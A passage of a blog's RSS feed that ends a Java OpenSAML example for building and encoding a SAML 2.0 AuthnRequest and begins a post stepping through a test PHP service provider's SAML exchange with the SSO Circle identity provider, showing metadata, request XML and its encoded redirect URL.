&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Now we must build our representation to put into the html form to be submitted to the idp</span><br />
&nbsp; &nbsp; &nbsp; Marshaller marshaller <span style="color: #339933;">=</span> org.<span style="color: #006633;">opensaml</span>.<span style="color: #006633;">Configuration</span>.<span style="color: #006633;">getMarshallerFactory</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">getMarshaller</span><span style="color: #009900;">&#40;</span>authRequest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; org.<span style="color: #006633;">w3c</span>.<span style="color: #006633;">dom</span>.<a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aelement+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Element</span></a> authDOM <span style="color: #339933;">=</span> marshaller.<span style="color: #006633;">marshall</span><span style="color: #009900;">&#40;</span>authRequest<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astringwriter+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">StringWriter</span></a> rspWrt <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astringwriter+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">StringWriter</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; XMLHelper.<span style="color: #006633;">writeNode</span><span style="color: #009900;">&#40;</span>authDOM, rspWrt<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> messageXML <span style="color: #339933;">=</span> rspWrt.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//String samlResponse = new String(Base64.encodeBytes(messageXML.getBytes(), Base64.DONT_BREAK_LINES));</span><br />
<br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//delete this area</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//String temp = &quot;&lt;samlp:AuthnRequest &nbsp;xmlns:samlp=\&quot;urn:oasis:names:tc:SAML:2.0:protocol\&quot;&nbsp; ID=\&quot;71069679271a7cf36e0e02e48084798ea844fce23f\&quot; Version=\&quot;2.0\&quot; IssueInstant=\&quot;2010-03-09T10:46:23Z\&quot; ForceAuthn=\&quot;false\&quot; IsPassive=\&quot;false\&quot; ProtocolBinding=\&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST\&quot; AssertionConsumerServiceURL=\&quot;http://saml20sp.abilityweb.us/spdbg/sp.php\&quot;&gt;&lt;saml:Issuer xmlns:saml=\&quot;urn:oasis:names:tc:SAML:2.0:assertion\&quot;&gt;http://saml20sp.abilityweb.us&lt;/saml:Issuer&gt;&lt;samlp:NameIDPolicy &nbsp;xmlns:samlp=\&quot;urn:oasis:names:tc:SAML:2.0:protocol\&quot; Format=\&quot;urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\&quot; SPNameQualifier=\&quot;http://saml20sp.abilityweb.us\&quot; AllowCreate=\&quot;true\&quot;&gt;&lt;/samlp:NameIDPolicy&gt;&lt;samlp:RequestedAuthnContext xmlns:samlp=\&quot;urn:oasis:names:tc:SAML:2.0:protocol\&quot; Comparison=\&quot;exact\&quot;&gt;&lt;saml:AuthnContextClassRef xmlns:saml=\&quot;urn:oasis:names:tc:SAML:2.0:assertion\&quot;&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport&lt;/saml:AuthnContextClassRef&gt;&lt;/samlp:RequestedAuthnContext&gt;&lt;/samlp:AuthnRequest&gt;&quot;;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Adeflater+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Deflater</span></a> deflater <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Adeflater+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Deflater</span></a><span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Adeflater+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Deflater</span></a>.<span style="color: #006633;">DEFLATED</span>, <span style="color: #000066; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Abytearrayoutputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">ByteArrayOutputStream</span></a> byteArrayOutputStream <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Abytearrayoutputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">ByteArrayOutputStream</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Adeflateroutputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">DeflaterOutputStream</span></a> deflaterOutputStream <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Adeflateroutputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">DeflaterOutputStream</span></a><span style="color: #009900;">&#40;</span>byteArrayOutputStream, deflater<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; deflaterOutputStream.<span style="color: #006633;">write</span><span style="color: #009900;">&#40;</span>messageXML.<span style="color: #006633;">getBytes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; deflaterOutputStream.<span style="color: #006633;">close</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> samlResponse <span style="color: #339933;">=</span> Base64.<span style="color: #006633;">encodeBytes</span><span style="color: #009900;">&#40;</span>byteArrayOutputStream.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, Base64.<span style="color: #006633;">DONT_BREAK_LINES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> outputString <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a><span style="color: #009900;">&#40;</span>byteArrayOutputStream.<span style="color: #006633;">toByteArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//System.out.println(&quot;Compressed String: &quot; + outputString);</span><br />
&nbsp; &nbsp; &nbsp; samlResponse <span style="color: #339933;">=</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aurlencoder+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">URLEncoder</span></a>.<span style="color: #006633;">encode</span><span style="color: #009900;">&#40;</span>samlResponse<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> actionURL <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">redirectionUrl</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Converted AuthRequest: &quot;</span> <span style="color: #339933;">+</span> messageXML<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;samlResponse: &quot;</span> <span style="color: #339933;">+</span> samlResponse<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//messageXML = messageXML.replace(&quot;&lt;&quot;, &quot;&amp;lt;&quot;);</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//messageXML = messageXML.replace(&quot;&gt;&quot;, &quot;&amp;gt;&quot;);</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> url <span style="color: #339933;">=</span> actionURL <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;?SAMLRequest=&quot;</span> <span style="color: #339933;">+</span> samlResponse <span style="color: #339933;">+</span> <span style="color: #0000ff;">&quot;&amp;RelayState=&quot;</span> <span style="color: #339933;">+</span> <span style="color: #000000; font-weight: bold;">this</span>.<span style="color: #006633;">relayState</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asystem+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">System</span></a>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span>url<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> url<span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//HTTPRedirectDeflateEncoder httpRedirectDeflateEncoder = new HTTPRedirectDeflateEncoder();</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//httpRedirectDeflateEncoder.encode((MessageContext) authDOM);</span><br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span>MarshallingException e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// TODO Auto-generated catch block</span><br />
&nbsp; &nbsp; &nbsp; e.<span style="color: #006633;">printStackTrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aunsupportedencodingexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">UnsupportedEncodingException</span></a> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// TODO Auto-generated catch block</span><br />
&nbsp; &nbsp; &nbsp; e.<span style="color: #006633;">printStackTrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span><a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aioexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">IOException</span></a> e<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// TODO Auto-generated catch block</span><br />
&nbsp; &nbsp; &nbsp; e.<span style="color: #006633;">printStackTrace</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">finally</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//Nothing yet</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.john-james-andersen.com/blog/programming/sample-saml-2-0-authnrequest-in-java.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stepping Through a SAML2.0 Authentication Process</title>
		<link>http://www.john-james-andersen.com/blog/programming/stepping-through-a-saml2-0-authentication-process.html</link>
		<comments>http://www.john-james-andersen.com/blog/programming/stepping-through-a-saml2-0-authentication-process.html#comments</comments>
		<pubDate>Thu, 08 Apr 2010 15:01:39 +0000</pubDate>
		<dc:creator>John Andersen</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://www.john-james-andersen.com/?p=390</guid>
		<description><![CDATA[I recently created a SAML 2.0 Service Provider using PHP. I used the AuthnRequest Protocol with HTTP-POST binding. This was done to help me understand the basic SAML 2.0 exchanges between a Service Provider and an Identity Provider. Here is an exhaustive analysis of my Service Provider logs that I created. The service provider that [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-james-andersen.com/wp-content/uploads/stepsinsand.jpg" alt="Steps" title="Steps" width="729" height="145" class="aligncenter size-full wp-image-391" /></p>
<p>I recently created a SAML 2.0 Service Provider using PHP.  I used the AuthnRequest Protocol with HTTP-POST binding.  This was done to help me understand the basic SAML 2.0 exchanges between a Service Provider and an Identity Provider.</p>
<p>Here is an exhaustive analysis of my Service Provider logs that I created.  </p>
<p>The service provider that I created had the url of:  <a href="http://saml20.abilityweb.us">http://saml20.abilityweb.us</a></p>
<p>I have a user created on the SSO Circle Identity Provider.  I added my test Service Provider to my SSO Circle account as an authorized service provider.  During that process I uploaded the following meta data to the SSO Circle Identity Provider for my PHP Service Provider:</p>
<div class="codecolorer-container xml blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;EntityDescriptor</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:metadata&quot;</span> &nbsp;<span style="color: #000066;">entityID</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span> &nbsp;<br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;SPSSODescriptor</span> <span style="color: #000066;">AuthnRequestsSigned</span>=<span style="color: #ff0000;">&quot;false&quot;</span> &nbsp;<span style="color: #000066;">WantAssertionsSigned</span>=<span style="color: #ff0000;">&quot;false&quot;</span> &nbsp;<span style="color: #000066;">protocolSupportEnumeration</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;SingleLogoutService</span> &nbsp;<span style="color: #000066;">Binding</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect&quot;</span> &nbsp;<span style="color: #000066;">Location</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us/spdbg/sp_logout.php&quot;</span> &nbsp;<span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;NameIDFormat<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>urn:oasis:names:tc:SAML:2.0:nameid-format:persistent<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/NameIDFormat<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;AssertionConsumerService</span> <span style="color: #000066;">isDefault</span>=<span style="color: #ff0000;">&quot;true&quot;</span> <span style="color: #000066;">index</span>=<span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #000066;">Binding</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;</span> <span style="color: #000066;">Location</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us/spdbg/sp.php&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/SPSSODescriptor<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/EntityDescriptor<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></div></td></tr></tbody></table></div>
<p>I chose to use the HTTP-POST binding along with the AuthnRequest Protocol for SAML Authentication</p>
<p>My url that is supposed to process the response to my AuthnRequest is: http://saml20sp.abilityweb.us/spdbg/home.php</p>
<p>My AuthnRequest that was generated by the test Service Provider I created looked like this:</p>
<div class="codecolorer-container xml blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br /></div></td><td><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:AuthnRequest</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">ID</span>=<span style="color: #ff0000;">&quot;4b8cd0a2e0f4ce3932a5e5b7bada22f7d73b7ed5ec&quot;</span> <span style="color: #000066;">Version</span>=<span style="color: #ff0000;">&quot;2.0&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">IssueInstant</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:44:41Z&quot;</span> <span style="color: #000066;">ForceAuthn</span>=<span style="color: #ff0000;">&quot;false&quot;</span> <span style="color: #000066;">IsPassive</span>=<span style="color: #ff0000;">&quot;false&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">ProtocolBinding</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">AssertionConsumerServiceURL</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us/spdbg/sp.php&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Issuer</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>http://saml20sp.abilityweb.us<br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Issuer<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:NameIDPolicy</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">Format</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:nameid-format:persistent&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">SPNameQualifier</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us&quot;</span> <span style="color: #000066;">AllowCreate</span>=<span style="color: #ff0000;">&quot;true&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:NameIDPolicy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:RequestedAuthnContext</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">Comparison</span>=<span style="color: #ff0000;">&quot;exact&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:AuthnContextClassRef</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:AuthnContextClassRef<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:RequestedAuthnContext<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:AuthnRequest<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></div></td></tr></tbody></table></div>
<p>The request is then DEFLATED:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ùS—nõ0}ÔW ø'BîŒ<br />
HY™ië∫ç%¨{3Ê“X2∂ÁköÙÔg”¥ã¥äJy··r8˜‹s+dù4t›ªÉ⁄¡ü–E—©ì<br />
È&amp;'ΩUT3HÎ</div></td></tr></tbody></table></div>
<p>Then it is encoded in Base64 encoding and also URL encoded:</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">nVPRbpswFH3vVyC%2FJxBClM4KSFmqaZG6jSWsD3sz5tJYMrbna5r072fTtIu0ikp54eFyOPfccw4rZJ00dN27g9rBnx7QRdGpkwrp8CYnvVVUMxRIFesAqeN0v%2F52T9NpQo3VTnMtyc32LidZfcubhKWQtBmH%2Bad5yhawqJc1a1iatstmOa%2BX0CyAk%2BgBLAqtcuJpSLRF7GGr0DHl%2FCiZJZMkmyS31WxOs4xms98k%2BqIth0FnTlomEcJnJUMUT%2FA2Kc%2BCPgvVCPU4rr5%2BASH9WlXlpPyxr0i0RgTrvLKNVth3YPdgnwSHX7v7nBycMzSOgzFpgmbKaiGFez5CPe0xRtPUj%2F45NQdDiptVgNHhMnvh6Lgk9rqeFKPLVvEF%2B3mXod893%2Fau1FLw52tSDB53zI2jw0Q0k3aAUhNyRAfKkWhfBgE%2FeyZFK8B%2B4Jf3Wkp93FhgzgfobA%2FBtfj%2FU97uOxcUmqEGPiEHJ3fNnRvdGWYFhgLCiXFHipe4Lok30qexg%2Faa8EZhnPJA7cehvkdtm1Bb4P6wyjKFRlt3Dvg9PcWrR%2B%2Fa8c%2FCy3%2B6%2BAs%3D</div></td></tr></tbody></table></div>
<p>The deflated/encoded AuthnRequest is then sent via https to the identity provider along with the Relay State (the URL on my service provider that will handle the response):</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">https://idp.ssocircle.com:443/sso/SSORedirect/metaAlias/ssocircle?SAMLRequest=nVPRbpswFH3vVyC%2FJxBClM4KSFmqaZG6jSWsD3sz5tJYMrbna5r072fTtIu0ikp54eFyOPfccw4rZJ00dN27g9rBnx7QRdGpkwrp8CYnvVVUMxRIFesAqeN0v%2F52T9NpQo3VTnMtyc32LidZfcubhKWQtBmH%2Bad5yhawqJc1a1iatstmOa%2BX0CyAk%2BgBLAqtcuJpSLRF7GGr0DHl%2FCiZJZMkmyS31WxOs4xms98k%2BqIth0FnTlomEcJnJUMUT%2FA2Kc%2BCPgvVCPU4rr5%2BASH9WlXlpPyxr0i0RgTrvLKNVth3YPdgnwSHX7v7nBycMzSOgzFpgmbKaiGFez5CPe0xRtPUj%2F45NQdDiptVgNHhMnvh6Lgk9rqeFKPLVvEF%2B3mXod893%2Fau1FLw52tSDB53zI2jw0Q0k3aAUhNyRAfKkWhfBgE%2FeyZFK8B%2B4Jf3Wkp93FhgzgfobA%2FBtfj%2FU97uOxcUmqEGPiEHJ3fNnRvdGWYFhgLCiXFHipe4Lok30qexg%2Faa8EZhnPJA7cehvkdtm1Bb4P6wyjKFRlt3Dvg9PcWrR%2B%2Fa8c%2FCy3%2B6%2BAs%3D&amp;RelayState=http%3A%2F%2Fsaml20sp.abilityweb.us%2Fspdbg%2Fhome.php</div></td></tr></tbody></table></div>
<p>The Identify provider processes this request and handles the authentication.  Upon successful authentication, it sends back a base64 encoded response:</p>
